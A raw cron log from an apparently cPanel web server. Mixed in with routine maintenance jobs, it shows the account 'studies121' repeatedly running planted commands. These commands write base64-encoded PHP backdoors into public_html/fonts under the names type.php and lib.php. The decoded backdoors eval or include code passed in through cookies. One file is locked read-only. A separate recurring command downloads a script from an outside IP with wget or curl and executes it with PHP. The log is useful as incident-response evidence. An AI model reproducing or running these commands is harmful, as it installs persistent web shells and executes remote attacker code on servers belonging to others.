Sep  1 09:49:01 ip-184-168-122-23 CROND[32039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:49:01 ip-184-168-122-23 CROND[32040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:50:01 ip-184-168-122-23 CROND[32153]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:50:01 ip-184-168-122-23 CROND[32154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:50:01 ip-184-168-122-23 CROND[32157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:50:01 ip-184-168-122-23 CROND[32158]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 09:50:01 ip-184-168-122-23 CROND[32160]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:50:01 ip-184-168-122-23 CROND[32164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:50:01 ip-184-168-122-23 CROND[32161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:50:01 ip-184-168-122-23 CROND[32162]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:50:01 ip-184-168-122-23 CROND[32163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:51:01 ip-184-168-122-23 CROND[32303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:51:01 ip-184-168-122-23 CROND[32304]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:51:01 ip-184-168-122-23 CROND[32305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:51:01 ip-184-168-122-23 CROND[32306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:52:01 ip-184-168-122-23 CROND[32449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:52:01 ip-184-168-122-23 CROND[32450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:52:01 ip-184-168-122-23 CROND[32452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:52:01 ip-184-168-122-23 CROND[32454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:52:01 ip-184-168-122-23 CROND[32456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:53:01 ip-184-168-122-23 CROND[32579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:53:01 ip-184-168-122-23 CROND[32580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:53:01 ip-184-168-122-23 CROND[32583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:53:01 ip-184-168-122-23 CROND[32584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:54:01 ip-184-168-122-23 CROND[333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:54:01 ip-184-168-122-23 CROND[335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:54:01 ip-184-168-122-23 CROND[336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:54:01 ip-184-168-122-23 CROND[339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:54:01 ip-184-168-122-23 CROND[337]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:55:01 ip-184-168-122-23 CROND[455]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:55:01 ip-184-168-122-23 CROND[459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:55:01 ip-184-168-122-23 CROND[461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:55:01 ip-184-168-122-23 CROND[460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:55:01 ip-184-168-122-23 CROND[458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:55:01 ip-184-168-122-23 CROND[457]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:56:01 ip-184-168-122-23 CROND[604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:56:01 ip-184-168-122-23 CROND[607]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:56:01 ip-184-168-122-23 CROND[608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:56:01 ip-184-168-122-23 CROND[616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:56:01 ip-184-168-122-23 CROND[617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:57:01 ip-184-168-122-23 CROND[747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:57:01 ip-184-168-122-23 CROND[748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:57:01 ip-184-168-122-23 CROND[750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:57:01 ip-184-168-122-23 CROND[753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:58:01 ip-184-168-122-23 CROND[840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:58:01 ip-184-168-122-23 CROND[842]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 09:58:01 ip-184-168-122-23 CROND[843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 09:58:01 ip-184-168-122-23 CROND[845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:58:01 ip-184-168-122-23 CROND[846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:59:01 ip-184-168-122-23 CROND[972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:59:01 ip-184-168-122-23 CROND[973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:59:01 ip-184-168-122-23 CROND[974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 09:59:01 ip-184-168-122-23 CROND[975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:00:01 ip-184-168-122-23 CROND[1221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:00:01 ip-184-168-122-23 CROND[1222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 10:00:01 ip-184-168-122-23 CROND[1226]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 10:00:01 ip-184-168-122-23 CROND[1224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 10:00:01 ip-184-168-122-23 CROND[1227]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 10:00:01 ip-184-168-122-23 CROND[1230]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 10:00:01 ip-184-168-122-23 CROND[1231]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 10:00:01 ip-184-168-122-23 CROND[1233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 10:00:01 ip-184-168-122-23 CROND[1234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:01:01 ip-184-168-122-23 CROND[1449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 10:01:01 ip-184-168-122-23 CROND[1450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 10:01:01 ip-184-168-122-23 CROND[1452]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 10:01:01 ip-184-168-122-23 CROND[1454]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
